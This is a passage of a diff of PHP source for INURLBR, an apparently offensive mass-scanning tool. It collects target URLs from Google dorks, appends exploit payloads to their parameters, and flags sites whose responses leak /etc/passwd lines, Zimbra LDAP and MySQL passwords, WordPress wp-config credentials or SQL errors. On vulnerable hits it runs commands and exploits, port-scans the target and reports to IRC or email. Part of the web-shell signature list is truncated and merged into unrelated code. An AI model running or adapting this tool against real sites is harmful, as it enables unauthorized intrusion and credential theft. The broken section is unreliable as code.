not_isnull_empty($_SESSION['config']['ifredirect']) && + (strstr($resultado['server']['redirect_url'], $_SESSION['config']['ifredirect'])) ? + 'VALUE URL REDIRECT FOUND' : NULL; + + $_SESSION['config']['erroReturn'] = $ifredirect . $ifcode . __checkError($resultado['corpo']); + __plus(); + $_SESSION['config']['curl_getinfo'] = $resultado['server']; + $_SESSION['config']['error_conection'] = (not_isnull_empty($resultado['error']) ? $resultado['error'] : NULL); + $_SESSION['config']['server_ip'] = (!is_null($resultado['server']['primary_ip']) ? $resultado['server']['primary_ip'] : NULL); + $_SESSION['config']['vull_style'] = (not_isnull_empty($_SESSION['config']['erroReturn'])) ? + "{$_SESSION["c4"]}( POTENTIALLY VULNERABLE ){$_SESSION["c0"]} \033[1m \033[32m" . __cli_beep() : NULL; + $_SESSION['config']['resultado_valores'].=(not_isnull_empty($_SESSION['config']['erroReturn'])) ? "{$url_}\n" : NULL; + __plus(); + $url_ = ($_SESSION['config']['alexa-rank']) ? ", RANK ALEXA: " . __positionAlexa($url_) : NULL; + __plus(); + $_SESSION['config']['info_ip'] = __infoIP($resultado['server']['primary_ip'], 1); + __plus(); + } else { + return FALSE; + } + __plus(); + + return "{$resultado['info']}, IP:{$resultado['server']['primary_ip']}:{$resultado['server']['primary_port']} {$url_}"; +} + +################################################################################ +#ERROR MAIN PROCESS RESPONSIBLE FOR ALL VALIDATION OF MOTOR##################### +################################################################################ + +function __processUrlExec($url, $contUrl) { + + __plus(); + if (is_null($url) || empty($url)) { + + return FALSE; + } + + $host = (!is_null($_SESSION['config']['replace'])) ? + __replace($_SESSION['config']['replace'], urldecode($_SESSION['config']['tipoerro'] == 3 ? __filterHostname($url) : ($url))) : + urldecode($_SESSION['config']['tipoerro'] == 3 ? __filterHostname($url) : ($url)); + + $target_['url_xpl'] = __remove($_SESSION['config']['remove'], __mountURLExploit(!is_null($_SESSION['config']['url']) ? $_SESSION['config']['url'] . $host : $host)); + $info = __infoServer($target_['url_xpl'], $_SESSION['config']['exploit-post']); + $target_['url_clean'] = ($_SESSION['config']['tipoerro'] == 4) ? $_SESSION['config']['url'] . $host : urldecode($url); + + __plus(); + + if ($_SESSION['config']['tipoerro'] != 5 && is_null($_SESSION['config']['extrai-email']) && + is_null($_SESSION['config']['extrai-url']) && is_null($_SESSION['config']['regexp-filter'])) { + + $ifredirect = strstr($_SESSION['config']['curl_getinfo']['redirect_url'], $_SESSION['config']['ifredirect']) ? + "{$_SESSION["c4"]}{$_SESSION['config']['curl_getinfo']['redirect_url']}" : NULL; + $exget = (not_isnull_empty($_SESSION['config']['exploit-get']) ? ' _/GET=> ' . $_SESSION['config']['exploit-get'] : NULL); + $expost = (not_isnull_empty($_SESSION['config']['exploit-post']) ? ' _/POST=> ' . $_SESSION['config']['exploit-post_str'] : NULL); + $valid_return = (not_isnull_empty($_SESSION['config']['erroReturn'])) ? TRUE : FALSE; + $info = ($valid_return) ? "{$_SESSION["c4"]}{$info}" : $info; + $target_ip = ($valid_return) ? "{$_SESSION["c4"]}{$_SESSION['config']['info_ip']}" : $_SESSION['config']['info_ip']; + + $anime = ($valid_return) ? '[ ! ]' : '[ - ]'; + echo __plus() . "\n"; + + echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]}|_[ + ] [{$_SESSION["c1"]} {$contUrl} / {$_SESSION['config']['total_url']} {$_SESSION["c1"]}]{$_SESSION["c9"]}-[" . date("H:i:s") . "]{$_SESSION["c1"]} {$anime} {$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Target:: {$_SESSION["c1"]}[{$_SESSION["c9"]} {$_SESSION['config']['vull_style']}{$target_['url_clean']}{$_SESSION["c1"]} ]{$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Exploit:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$exget}{$expost}{$_SESSION["c0"]}\n"; + echo (not_isnull_empty($_SESSION['config']['replace'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Replace:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['replace']}{$_SESSION["c0"]}\n") : NULL; + echo (not_isnull_empty($_SESSION['config']['remove'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Remove:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['remove']}{$_SESSION["c0"]}\n") : NULL; + echo (isset($_SESSION['config']['cms-check-resultado'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}CMS check:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['cms-check-resultado']}{$_SESSION["c0"]}\n") : NULL; + echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Information Server:: {$_SESSION["c0"]}{$_SESSION["c9"]}{$info}{$_SESSION["c1"]}\n"; + echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}More details:: {$_SESSION["c0"]}{$_SESSION["c9"]}{$target_ip}{$_SESSION["c1"]}\n"; + echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Found:: {$_SESSION["c9"]}" . ($valid_return ? "{$_SESSION["c4"]}{$_SESSION['config']['erroReturn']}" : "UNIDENTIFIED") . "{$_SESSION["c0"]}"; + echo (not_isnull_empty($ifredirect) ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}URL REDIRECT:: {$_SESSION["c9"]}{$ifredirect}{$_SESSION["c0"]}" : NULL); + echo (not_isnull_empty($_SESSION['config']['error_conection']) ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}ERROR CONECTION:: {$_SESSION["c2"]}{$_SESSION['config']['error_conection']}{$_SESSION["c0"]}" : NULL); + ($valid_return ? __saveValue($_SESSION['config']['arquivo_output'], $target_['url_xpl'], 1) : NULL); + echo ($_SESSION['config']['sendmail'] ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}SEND MAIL:: {$_SESSION["c9"]}" . (($valid_return) ? "{$_SESSION["c4"]}" : NULL) . __sendMail($_SESSION['config']['sendmail'], $target_['url_xpl']) . "{$_SESSION["c0"]}" : NULL); + (not_isnull_empty($_SESSION['config']['arquivo_output_all']) ? __saveValue($_SESSION['config']['arquivo_output_all'], $target_['url_xpl'], NULL) : NULL); + __plus(); + + if ($valid_return) { + + (not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ? + __ircMsg($_SESSION['config']['irc'], "{$_SESSION['config']['erroReturn']}::: {$target_['url_xpl']}") : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['command-vul']) ? __command($_SESSION['config']['command-vul'], $target_) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['exploit-vul-id']) ? + __configExploitsExec($_SESSION['config']['exploit-vul-id'], $target_) : NULL); + __plus(); + } + + (not_isnull_empty($_SESSION['config']['command-all']) ? __command($_SESSION['config']['command-all'], $target_) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['sub-file']) && + is_array($_SESSION['config']['sub-file']) ? __subExecExploits($target_['url_xpl'], $_SESSION['config']['sub-file']) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['exploit-all-id']) ? __configExploitsExec($_SESSION['config']['exploit-all-id'], $target_) : NULL); + __plus(); + + ($_SESSION['config']['robots'] ? __getValuesRobots($host) : NULL); + __plus(); + + (not_isnull_empty($_SESSION['config']['port-scan']) ? __portScan(array(0 => $target_, 1 => $_SESSION['config']['port-scan'])) : NULL); + __plus(); + + __timeSec('delay', "\n"); + } +} + +################################################################################ +#PRINT MESSAGE AND OUT OF THE PROCESS########################################### +################################################################################ + +function __getOut($msg) { + __ircQuit($_SESSION['config']['irc']); + print_r($msg); + exit(1); +} + +################################################################################ +#ERROR MAIN PROCESS RESPONSIBLE FOR ALL VALIDATION OF ENGINE#################### +################################################################################ + +function __process($resultadoURL) { + + __plus(); + $resultadoURL[0] = (is_array($resultadoURL) ? array_unique(array_filter($resultadoURL)) : $resultadoURL); + $resultadoURL[0] = ($_SESSION['config']['unique'] ? __filterDomainUnique($resultadoURL[0]) : $resultadoURL[0]); + + $resultadoURL[0] = (not_isnull_empty($_SESSION['config']['ifurl']) ? __filterURLif($resultadoURL[0]) : $resultadoURL[0]); + $_SESSION['config']['total_url'] = count($resultadoURL[0]); + + echo "\n{$_SESSION["c1"]}[ INFO ]{$_SESSION["c12"]}[ TOTAL FOUND VALUES ]::{$_SESSION["c1"]} [ {$_SESSION['config']['total_url']} ]{$_SESSION["c0"]}\n"; + __debug(array('debug' => $resultadoURL[0], 'function' => '__process'), 3); + + if (count($resultadoURL[0]) > 0) { + + $_SESSION['config']['irc']['irc_connection'] = (not_isnull_empty($_SESSION['config']['irc']['conf']) ? __ircConect($_SESSION['config']['irc']) : NULL); + $_SESSION['config']['irc']['my_fork'] = pcntl_fork(); + + if ($_SESSION['config']['irc']['my_fork'] == 0) { + + (not_isnull_empty($_SESSION['config']['irc']['irc_connection']) ? __ircPong($_SESSION['config']['irc']) : NULL); + exit(0); + } else if ($_SESSION['config']['irc']['my_fork'] == -1) { + + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c0"]}{$_SESSION["c2"]}ERROR Fork failed{$_SESSION["c0"]}\n"); + } + + $_SESSION['config']['user-agent'] = ($_SESSION['config']['shellshock']) ? $_SESSION['config']['user_agent_xpl'] : $_SESSION['config']['user-agent']; + foreach ($resultadoURL[0] as $url) { + + __plus(); + $url = urldecode(not_isnull_empty($_SESSION['config']['target']) ? + $_SESSION['config']['target'] . $url : $url); + + if (__validateURL($url) || not_isnull_empty($_SESSION['config']['abrir-arquivo'])) { + + __processUrlExec(__filterURLTAG($url), $_SESSION["config"]["contUrl"] ++); + __plus(); + } + } + } else { + + print_r("{$_SESSION["c1"]}[ INFO ]{$_SESSION["c2"]} Not a satisfactory result was found!{$_SESSION["c0"]}\n"); + } +} + +################################################################################ +#ERRORS STANDARDS OF SCRIPT VALIDATE WITH HTML RECEIVED######################### +################################################################################ + +function __checkError($html_) { + + + if (__validateOptions($_SESSION['config']['tipoerro'], '2')) { + + $validation['ERROR-CUSTOM'] = not_isnull_empty($_SESSION['config']['achar']) ? $_SESSION['config']['achar'] : NULL; + } + + if (__validateOptions('1,3,4', $_SESSION['config']['tipoerro'])) { + + if (__validateOptions('3,4', $_SESSION['config']['tipoerro'])) { + + $validation['ERROR-CUSTOM'] = not_isnull_empty($_SESSION['config']['achar']) ? $_SESSION['config']['achar'] : NULL; + } + + /* [*]SHELLSHOCK + * (CVE-2014-6271, CVE-2014-6277, + * CVE-2014-6278, CVE-2014-7169, + * CVE-2014-7186, CVE-2014-7187) + * is a vulnerability in GNU's bash shell that gives attackers access + * to run remote commands on a vulnerable system. */ + $validation['SHELLSHOCK-01'] = '99887766555'; + + /* [*]LOCAL FILE INCLUSION + * Local File Inclusion (also known as LFI) is the process of including + * files, that are already locally present on the server, through the + * exploiting of vulnerable inclusion procedures implemented in the + * application. + * https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion */ + $validation['LOCAL-FILE-INCLUSION-01'] = '/root:/'; + $validation['LOCAL-FILE-INCLUSION-02'] = 'root:x:0:0:'; + $validation['LOCAL-FILE-INCLUSION-03'] = 'mysql:x:'; + + /* [*]ZIMBRA MAIL + * Zimbra 0day exploit / Privilegie escalation via LFI + * This script exploits a Local File Inclusion in + * /res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz + * which allows us to see localconfig.xml + * that contains LDAP root credentials wich allow us to make requests in + * /service/admin/soap API with the stolen LDAP credentials to create user + * with administration privlegies + * and gain acces to the Administration Console. + * https://www.exploit-db.com/exploits/30085/ */ + $validation['ZIMBRA-WEB-MAIL-01'] = 'zimbra_user'; + $validation['ZIMBRA-WEB-MAIL-02'] = 'zimbra_ldap_password'; + $validation['ZIMBRA-WEB-MAIL-03'] = 'ldap_replication_password'; + $validation['ZIMBRA-WEB-MAIL-04'] = 'ldap_root_password'; + $validation['ZIMBRA-WEB-MAIL-05'] = 'ldap_nginx_password'; + $validation['ZIMBRA-WEB-MAIL-06'] = 'mailboxd_keystore_password'; + $validation['ZIMBRA-WEB-MAIL-07'] = 'zimbra_mysql_password'; + $validation['ZIMBRA-WEB-MAIL-08'] = 'mysql_root_password'; + $validation['ZIMBRA-WEB-MAIL-10'] = 'mailboxd_truststore_password'; + $validation['ZIMBRA-WEB-MAIL-11'] = 'ldap_postfix_password'; + $validation['ZIMBRA-WEB-MAIL-12'] = 'ldap_amavis_password'; + + /* [*]ZEND FRAMEWORK + * Zend-Framework Full Info Disclosure + * The username and password of the database may be obtained trough + * the "application.ini" file + * https://www.exploit-db.com/exploits/29921/ */ + $validation['ZEND-FRAMEWORK-01'] = 'mail.transport.username'; + $validation['ZEND-FRAMEWORK-02'] = 'mail.transport.password'; + $validation['ZEND-FRAMEWORK-03'] = 'db.params.username'; + $validation['ZEND-FRAMEWORK-04'] = 'db.params.password'; + $validation['ZEND-FRAMEWORK-05'] = 'db.params.dbname'; + + /* [*]CMS WORDPRESS + * As the name suggests, if the web application doesn’t check the file + * name required by the user, any malicious user can exploit this + * vulnerability to download sensitive files from the server. + * Arbitrary File Download vulnerability file wp-config.php + * http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271 + * http://www.acunetix.com/vulnerabilities/web/wordpress-plugin-slider-revolution-arbitrary-file-disclosure */ + $validation['CMS-WORDPRESS-01'] = "define('DB_NAME'"; + $validation['CMS-WORDPRESS-02'] = "define('DB_USER'"; + $validation['CMS-WORDPRESS-03'] = "define('DB_PASSWORD'"; + $validation['CMS-WORDPRESS-04'] = "define('DB_HOST'"; + + /* [*]ERROR MARIADB + * MariaDB is a drop-in replacement for MySQL. + * MariaDB strives to be the logical choice for database professionals + * looking for a robust, scalable, and reliable SQL server. To accomplish + * this, the MariaDB Foundation work closely and cooperatively with the + * larger community of users and developers in the true spirit of Free + * and open source software, and release software in a manner that + * balances predictability with reliability. + * https://mariadb.org/en/about/ */ + $validation['MARIADB-01'] = 'MariaDB server version for the right syntax'; + + /* [*]ERROR MYSQL + * MySQL is a database management system (DBMS), which uses the SQL + * (Structured Query Language, English Structured Query Language) as + * interface. It is currently one of the most popular databases, with + * more than 10 million installations worldwide + * https://www.mysql.com/ + * http://php.net/manual/en/security.database.sql-injection.php + */ + $validation['MYSQL-AND-MARIADB'] = 'You have an error in your SQL syntax;'; + $validation['MYSQL-03'] = 'Warning: mysql_'; + $validation['MYSQL-04'] = 'function.mysql'; + $validation['MYSQL-05'] = 'MySQL result index'; + $validation['MYSQL-07'] = 'MySQL Error'; + $validation['MYSQL-08'] = 'MySQL ODBC'; + $validation['MYSQL-09'] = 'MySQL Driver'; + $validation['MYSQL-10'] = 'mysqli.query'; + $validation['MYSQL-11'] = 'num_rows'; + $validation['MYSQL-12'] = 'mysql error:'; + $validation['MYSQL-13'] = 'supplied argument is not a valid MySQL result resource'; + $validation['MYSQL-14'] = 'on MySQL result index'; + $validation['MYSQL-15'] = 'Error Executing Database Query'; + $validation['MYSQL-01'] = 'mysql_'; + + /* [*]ERROR MICROSOFT + * MICROSOFT TECHNOLOGY + * http://www.microsoft.com/pt-br/server-cloud/products/sql-server/ + * https://products.office.com/pt-br/access + * https://www.owasp.org/index.php/Testing_for_SQL_Server */ + $validation['MICROSOFT-01'] = 'Microsoft JET Database'; + $validation['MICROSOFT-02'] = 'ADODB.Recordset'; + $validation['MICROSOFT-03'] = '500 - Internal server error'; + $validation['MICROSOFT-04'] = 'Microsoft OLE DB Provider'; + $validation['MICROSOFT-05'] = 'Unclosed quotes'; + $validation['MICROSOFT-06'] = 'ADODB.Command'; + $validation['MICROSOFT-07'] = 'ADODB.Field error'; + $validation['MICROSOFT-08'] = 'Microsoft VBScript'; + $validation['MICROSOFT-09'] = 'Microsoft OLE DB Provider for SQL Server'; + $validation['MICROSOFT-10'] = 'Unclosed quotation mark'; + $validation['MICROSOFT-11'] = 'Microsoft OLE DB Provider for Oracle'; + $validation['MICROSOFT-14'] = 'Active Server Pages error'; + $validation['MICROSOFT-15'] = 'OLE/DB provider returned message'; + $validation['MICROSOFT-16'] = 'OLE DB Provider for ODBC'; + $validation['MICROSOFT-17'] = "error '800a0d5d'"; + $validation['MICROSOFT-18'] = "error '800a000d'"; + $validation['MICROSOFT-19'] = 'Unclosed quotation mark after the character string'; + $validation['MICROSOFT-20'] = '[Microsoft][SQL Server Native Client 11.0][SQL Server]'; + $validation['MICROSOFT-21'] = 'Warning: odbc_'; + + /* #[*]ERROR ORACLE + * - DBMS currently marketed by Oracle, who was born in 1979 and was + * the first relational BD sold worldwide; + * - Latest version: Oracle Database 11G; + * http://www.oracle.com/br/solutions/midsize/oracle-products/database/index.html + * https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-fayo.pdf */ + $validation['ORACLE-01'] = 'ORA-00921: unexpected end of SQL command'; + $validation['ORACLE-02'] = 'ORA-01756'; + $validation['ORACLE-03'] = 'ORA-'; + $validation['ORACLE-04'] = 'Oracle ODBC'; + $validation['ORACLE-05'] = 'Oracle Error'; + $validation['ORACLE-06'] = 'Oracle Driver'; + $validation['ORACLE-07'] = 'Oracle DB2'; + $validation['ORACLE-08'] = 'error ORA-'; + $validation['ORACLE-09'] = 'SQL command not properly ended'; + + /* #[*]ERROR DB2 + * DB2 is a database system Relational Manager (SGDBR) produced by IBM. + * There are different versions of DB2 running from a simple PDA | + * handheld, even in powerful mainframes and run on servers based on + * Unix, Windows, or Linux. + * http://www-01.ibm.com/software/br/db2/lowerdatabasecosts/ + * https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet#DB2_Escaping */ + $validation['DB2-01'] = 'DB2 ODBC'; + $validation['DB2-02'] = 'DB2 error'; + $validation['DB2-03'] = 'DB2 Driver'; + + /* #[*]ERROR ODBC + * ODBC (acronym for Open Database Connectivity) is a standard for + * access to managers of database systems (DBMS). + * https://support.office.com/pt-br/article/Administrar-fontes-de-dados-ODBC-b19f856b-5b9b-48c9-8b93-07484bfab5a7 + * https://www.exploit-db.com/papers/12975/ */ + $validation['ODBC-01'] = 'ODBC SQL'; + $validation['ODBC-02'] = 'ODBC DB2'; + $validation['ODBC-03'] = 'ODBC Driver'; + $validation['ODBC-04'] = 'ODBC Error'; + $validation['ODBC-05'] = 'ODBC Microsoft Access'; + $validation['ODBC-06'] = 'ODBC Oracle'; + $validation['ODBC-07'] = 'ODBC Microsoft Access Driver'; + + /* #[*]ERROR POSTGRESQL + * PostgreSQL is an object-relational database management system + * (ORDBMS), developed as an open source project. + * http://www.postgresql.org.br/old/ + * https://www.owasp.org/index.php/OWASP_Backend_Security_Project_Testing_PostgreSQL */ + $validation['POSTGRESQL-01'] = 'Warning: pg_'; + $validation['POSTGRESQL-02'] = 'PostgreSql Error:'; + $validation['POSTGRESQL-03'] = 'function.pg'; + $validation['POSTGRESQL-04'] = 'Supplied argument is not a valid PostgreSQL result'; + $validation['POSTGRESQL-05'] = 'PostgreSQL query failed: ERROR: parser: parse error'; + $validation['POSTGRESQL-06'] = 'pg_'; + + /* #[*]ERROR SYBASE + * Sybase (NYSE: SY), an SAP company, is a software company that + * produces services and products related to information management, + * mobility, messaging, development tools, and data warehousing and + * OLAP data. + * https://www.owasp.org/index.php?search=SYBASE&title=Special%3ASearch&go=Go */ + $validation['SYBASE-01'] = 'Warning: sybase_'; + $validation['SYBASE-02'] = 'function.sybase'; + $validation['SYBASE-03'] = 'Sybase result index'; + $validation['SYBASE-04'] = 'Sybase Error:'; + $validation['SYBASE-05'] = 'Sybase: Server message:'; + $validation['SYBASE-06'] = 'sybase_'; + $validation['SYBASE-07'] = '[Sybase][ODBC Driver]:'; + + /* #[*]ERROR JBOSSWEB + * JBoss Web Server is an enterprise ready web server designed for + * medium and large applications, based on Tomcat. + * JBoss Web a component of the JBoss Application Server, there are + * no more standalone version of JBoss Web you need the Application + * Server to get the Servlet/JSP container. + * http://jbossweb.jboss.org/ + * http://www.rapid7.com/db/search?utf8=%E2%9C%93&q=JBoss+&t=a */ + $validation['JBOSSWEB-01'] = 'java.sql.SQLSyntaxErrorException: ORA-'; + $validation['JBOSSWEB-02'] = 'org.springframework.jdbc.BadSqlGrammarException:'; + $validation['JBOSSWEB-03'] = 'javax.servlet.ServletException:'; + $validation['JBOSSWEB-04'] = 'java.lang.NullPointerException'; + + /* #[*]ERROR JDBC + * Java Database Connectivity or JDBC is a set of classes and + * interfaces (API) written in Java that make sending SQL statements + * for any relational database + * http://www.oracle.com/technetwork/java/javase/jdbc/index.html + * https://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java */ + $validation['JDBC_CFM-01'] = 'Error Executing Database Query'; + $validation['JDBC_CFM-02'] = 'SQLServer JDBC Driver'; + $validation['JDBC_CFM-03'] = 'JDBC SQL'; + $validation['JDBC_CFM-04'] = 'JDBC Oracle'; + $validation['JDBC_CFM-05'] = 'JDBC MySQL'; + $validation['JDBC_CFM-06'] = 'JDBC error'; + $validation['JDBC_CFM-07'] = 'JDBC Driver'; + + /* #[*]JAVA INFINITYDB + * InfinityDB is an all-Java embedded database engine that is deployed + * in handheld devices, on servers, on workstations, and in distributed + * settings. */ + $validation['JAVA-INFINITYDB-01'] = 'java.io.IOException: InfinityDB'; + + /* #[*]ERROR PHP + * The PHP development team announces the immediate availability of + * PHP 5.4.40. 14 security-related bugs were fixed in this release, + * including CVE-2014-9709, CVE-2015-2301, CVE-2015-2783, CVE-2015-1352. + * All PHP 5.4 users are encouraged to upgrade to this version. + * http://php.net/ */ + $validation['ERRORPHP-01'] = 'Warning: include'; + $validation['ERRORPHP-02'] = 'Fatal error: include'; + $validation['ERRORPHP-03'] = 'Warning: require'; + $validation['ERRORPHP-04'] = 'Fatal error: require'; + $validation['ERRORPHP-05'] = 'ADODB_Exception'; + $validation['ERRORPHP-06'] = 'Warning: include('; + $validation['ERRORPHP-07'] = 'Warning: require_once('; + $validation['ERRORPHP-08'] = 'function.include'; + $validation['ERRORPHP-09'] = 'Disallowed Parent Path'; + $validation['ERRORPHP-10'] = 'function.require'; + $validation['ERRORPHP-11'] = 'Warning: main('; + $validation['ERRORPHP-12'] = 'Warning: session_start()'; + $validation['ERRORPHP-13'] = 'Warning: getimagesize()'; + $validation['ERRORPHP-16'] = 'Warning: array_merge()'; + $validation['ERRORPHP-17'] = 'Warning: preg_match()'; + $validation['ERRORPHP-18'] = 'GetArray()'; + $validation['ERRORPHP-19'] = 'FetchRow()'; + $validation['ERRORPHP-20'] = 'Warning: preg_'; + $validation['ERRORPHP-21'] = 'Warning: ociexecute()'; + $validation['ERRORPHP-22'] = 'Warning: ocifetchstatement()'; + $validation['ERRORPHP-23'] = 'PHP Warning:'; + + /* #[*]ERROR ASP + * The ASP (Active Server Pages), also known as Classic ASP today, is a + * framework of basic libraries (and not a language) for processing of + * scripting languages on the server side to generate dynamic content on + * the Web + * http://www.asp.net/ */ + $validation['ERRORASP-01'] = 'Version Information: Microsoft .NET Framework'; + $validation['ERRORASP-04'] = 'ASP.NET is configured to show verbose error messages'; + $validation['ERRORASP-05'] = 'BOF or EOF'; + $validation['ERRORASP-06'] = 'Unclosed quotation mark'; + $validation['ERRORASP-06'] = 'Error converting data type varchar to numeric'; + + /* #[*]ERROR LUA + * Lua is a scripting language imperative, procedural, small, reflective + * and light, designed to expand applications in general, to be an + * extensible language (which connects parts of a program made in more + * than one language) + * http://www.lua.org/ */ + $validation['ERRORLUA-01'] = 'LuaPlayer ERROR:'; + $validation['ERRORLUA-02'] = 'CGILua message'; + $validation['ERRORLUA-03'] = 'Lua error'; + + #[*]ERROR INDEFINIDOS + $validation['INDEFINITE-01'] = 'Incorrect syntax near'; + $validation['INDEFINITE-02'] = 'Fatal error'; + $validation['INDEFINITE-04'] = 'Invalid Querystring'; + $validation['INDEFINITE-05'] = 'Input string was not in a correct format'; + $validation['INDEFINITE-06'] = 'An illegal character has been found in the statement'; + + #[*]SHELL SCRIPT backdoored. + $validation['SHELL-01'] = 'c99shell'; + $validation['SHELL-02'] = 'C99Shell v'; + $validation['SHELL-03'] = '
'; + $validation['SHELL-05'] = '{$_SESSION['config']['regexp']} - " . $match[0][0] . " FOUD! " : NULL); + } else { + + foreach ($validation as $campo => $valor) { + + __plus(); + if (__validateBD($html_, $validation[$campo], $campo)) { + + __plus(); + return(" {$campo} - VALUE: {$validation[$campo]}"); + } + } + } +} + +################################################################################ +#CHECK ERROR 2 HTML INSIDE###################################################### +################################################################################ + +function __validateBD($html_, $verificar, $bd) { + + return (strstr($html_, $verificar)) ? $bd : NULL; +} + +################################################################################ +#FORMAT URL##################################################################### +################################################################################ + +function __mountURLExploit($_url) { + + $_url = explode("=", trim(urldecode($_url))); + $get = max(array_keys($_url)); + $get_ = $_url[$get]; + return implode("=", str_replace($get_, $get_ . ((!is_null($_SESSION['config']['exploit-get'])) ? $_SESSION['config']['exploit-get'] : NULL), $_url)); +} + +################################################################################ +#FILTER HTML URLs ALL THE RETURN OF seekers##################################### +################################################################################ + +function __filterURL($html, $op = NULL) { + + $reg = !strstr($op, 'GOOGLE') ? "#\b(href=\"|src=\"|value=\")(.*?)(\")#si" : + "#\b(href=\"|src=\"|value=\"http[s]?://|href=\"|src=\"|value=\"ftp[s]?://){1,}?([-a-zA-Z0-9\.]+)([-a-zA-Z0-9\.]){1,}([-a-zA-Z0-9_\.\#\@\:%_/\?\=\~\-\//\!\'\(\)\s\^\:blank:\:punct:\:xdigit:\:space:\$]+)#si"; + $html = str_replace('href="/url?q=', 'href="', $html); + + if (strstr($html, '.google.com/sorry/IndexRedirect?continue=https://www.google.com.') && $_SESSION['config']['persist'] <= $_SESSION["config"]['google_attempt'][1]) { + + print_r("{$_SESSION["c1"]}[ INFO ][ ERROR ]{$_SESSION["c2"]} GOOGLE LOCKED!{$_SESSION["c0"]}\n"); + $randHost = __dominioGoogleRandom(); + $_SESSION["config"]['google_attempt'][1] ++; + __pageEngine($_SESSION["config"]["conf_array_tmp"], "GOOGLE - {$randHost}", "https://{$randHost}/search?q=[DORK]&num=1500&btnG=Search&pws=1", $_SESSION["config"]["dork_tmp"], NULL, 0, 0, 1); + } else { + $_SESSION["config"]["google_attempt"][1] = 0; + preg_match_all($reg, $html, $html); + return (array_filter(array_unique($html[0]))); + } +} + +################################################################################ +#FILTER HTML URLs ALL THE RETURN OF GOOGLE API################################## +################################################################################ + +function __filterURLJson($html) { + + $html = json_decode($html, true); + $allresponseresults = $html['responseData']['results']; + foreach ($allresponseresults as $value) { + $tmp[] = $value['url']; + } + return (array_filter(array_unique($tmp))); +} + +################################################################################ +#Filtering the repeated emails ################################################# +################################################################################ + +function __filterEmailsRepeated() { + + echo "\n\n{$_SESSION["c1"]}|[ INFO ][ Filtering the repeated emails the file {$_SESSION['config']['arquivo_output']} ]{$_SESSION["c0"]}\n"; + $array = __openFile($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output'], 1); + if (is_array($array)) { + + unlink($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output']); + unset($_SESSION['config']['resultado_valores']); + foreach ($array as $value) { + + __saveValue($_SESSION['config']['out_put_paste'] . $_SESSION['config']['arquivo_output'], $value, 2) . __plus(); + $_SESSION['config']['resultado_valores'] .= "{$value}\n"; + } + } else { + + echo "\n\n{$_SESSION["c1"]}|[ ERROR ][ ERROR EMAILS FILTERING ]{$_SESSION["c0"]}\n"; + } +} + +################################################################################ +#COUNTING PROCESS END URLS / vuln AND SHOWING THE URLS / vuln################### +################################################################################ + +function __exitProcess() { + + $file = !is_null($_SESSION['config']['arquivo_output']) ? $_SESSION['config']['arquivo_output'] : NULL; + $file_all = !is_null($_SESSION['config']['arquivo_output_all']) ? $_SESSION['config']['arquivo_output_all'] : NULL; + (($_SESSION['config']['extrai-email']) ? __filterEmailsRepeated() : NULL); + $cont = count(explode("\n", $_SESSION['config']['resultado_valores'])) - 1; + echo "\n\n{$_SESSION["c1"]}[ INFO ] [ Shutting down ]{$_SESSION["c0"]}"; + echo "\n{$_SESSION["c1"]}[ INFO ] [ End of process INURLBR at [" . date("d-m-Y H:i:s") . "]{$_SESSION["c0"]}"; + echo "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c0"]}{$_SESSION["c16"]}[ TOTAL FILTERED VALUES ]::{$_SESSION["c1"]} [ {$cont} ]{$_SESSION["c0"]}"; + echo!is_null($file) ? "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c16"]}[ OUTPUT FILE ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file} ]{$_SESSION["c0"]}" : NULL; + echo!is_null($file_all) ? "\n{$_SESSION["c1"]}[ INFO ] {$_SESSION["c16"]}[ OUTPUT FILE ALL ]::{$_SESSION["c1"]} [ " . getcwd() . "/{$_SESSION['config']['out_put_paste']}{$file_all} ]{$_SESSION["c0"]}" : NULL; + echo "\n{$_SESSION["c1"]}|_________________________________________________________________________________________{$_SESSION["c0"]}\n"; + + print_r(!$_SESSION['config']['extrai-email'] ? $_SESSION['config']['resultado_valores'] : NULL); + + echo "\n{$_SESSION["c1"]}\_________________________________________________________________________________________/{$_SESSION["c0"]}\n"; + 